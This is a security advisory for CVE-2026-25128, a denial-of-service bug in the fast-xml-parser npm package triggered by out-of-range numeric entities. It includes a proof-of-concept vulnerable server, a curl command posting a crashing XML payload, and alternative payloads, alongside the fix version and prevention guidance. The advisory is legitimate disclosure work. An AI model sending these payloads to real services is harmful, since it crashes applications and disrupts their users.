GHSA-37qj-frw5-hhjh CVE-2026-25128
fast-xml-parser has RangeError DoS Numeric Entities Bug
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.61%
- Chance of exploitation in the next 30 days. Higher than 49.33% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
5.3.4- Upgrade fast-xml-parser to this version or later
Description
Summary
A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.
Details
The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:
"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:
[0-9]{1,7}matches up to 9,999,999[0-9a-fA-F]{1,6}matches up to 0xFFFFFF (16,777,215)
The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:
val = val.replace(entity.regex, entity.val);
This causes the RangeError to propagate uncaught, crashing the parser and any application using it.
PoC
Setup
Create a directory with these files:
poc/
├── package.json
├── server.js
package.json
{ "dependencies": { "fast-xml-parser": "^5.3.3" } }
server.js
const http = require('http');
const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({ processEntities: true, htmlEntities: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/parse') {
let body = '';
req.on('data', c => body += c);
req.on('end', () => {
const result = parser.parse(body); // No try-catch - will crash!
res.end(JSON.stringify(result));
});
} else {
res.end('POST /parse with XML body');
}
}).listen(3000, () => console.log('http://localhost:3000'));
Run
# Setup
npm install
# Terminal 1: Start server
node server.js
# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>�</root>' http://localhost:3000/parse
Result
Server crashes with:
RangeError: Invalid code point 9999999
Alternative Payloads
<!-- Hex variant -->
<?xml version="1.0"?><root>�</root>
<!-- In attribute -->
<?xml version="1.0"?><root attr="�"/>
Impact
Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:
- API servers accepting XML payloads
- File processors parsing uploaded XML files
- Message queues consuming XML messages
- RSS/Atom feed parsers
- SOAP/XML-RPC services
A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| fast-xml-parser | >= 5.0.9, <= 5.3.3 |
No fix yet |
| fast-xml-parser | >= 5.0.9, < 5.3.4 |
5.3.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
fast-xml-parser npm → 5.3.4
- npm
npm install fast-xml-parser@5.3.4- yarn
yarn add fast-xml-parser@5.3.4- pnpm
pnpm add fast-xml-parser@5.3.4
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-248: Uncaught Exception
An exception is thrown from a function, but it is not caught.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-8r6m-32jq-jx6q fast-xml-parser: Repeated DOCTYPE declarations reset entity expansion limits | High | Also affects fast-xml-parser |
| GHSA-gh4j-gqv2-49f6 fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters | Medium | Also affects fast-xml-parser |
| GHSA-jp2q-39xq-3w4g Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser | Medium | Also affects fast-xml-parser |
| GHSA-8gc5-j5rx-235r fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278) | High | Also affects fast-xml-parser |
| GHSA-fj3w-jwp8-x2g3 fast-xml-parser has stack overflow in XMLBuilder with preserveOrder | Low | Also affects fast-xml-parser |
| GHSA-m7jm-9gc2-mpf2 fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names | Critical | Also affects fast-xml-parser |
| GHSA-jmr7-xgp7-cmfj fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit) | High | Also affects fast-xml-parser |
| GHSA-mpg4-rc92-vx8v fast-xml-parser vulnerable to ReDOS at currency parsing | High | Also affects fast-xml-parser |
Credits: mistersiddd
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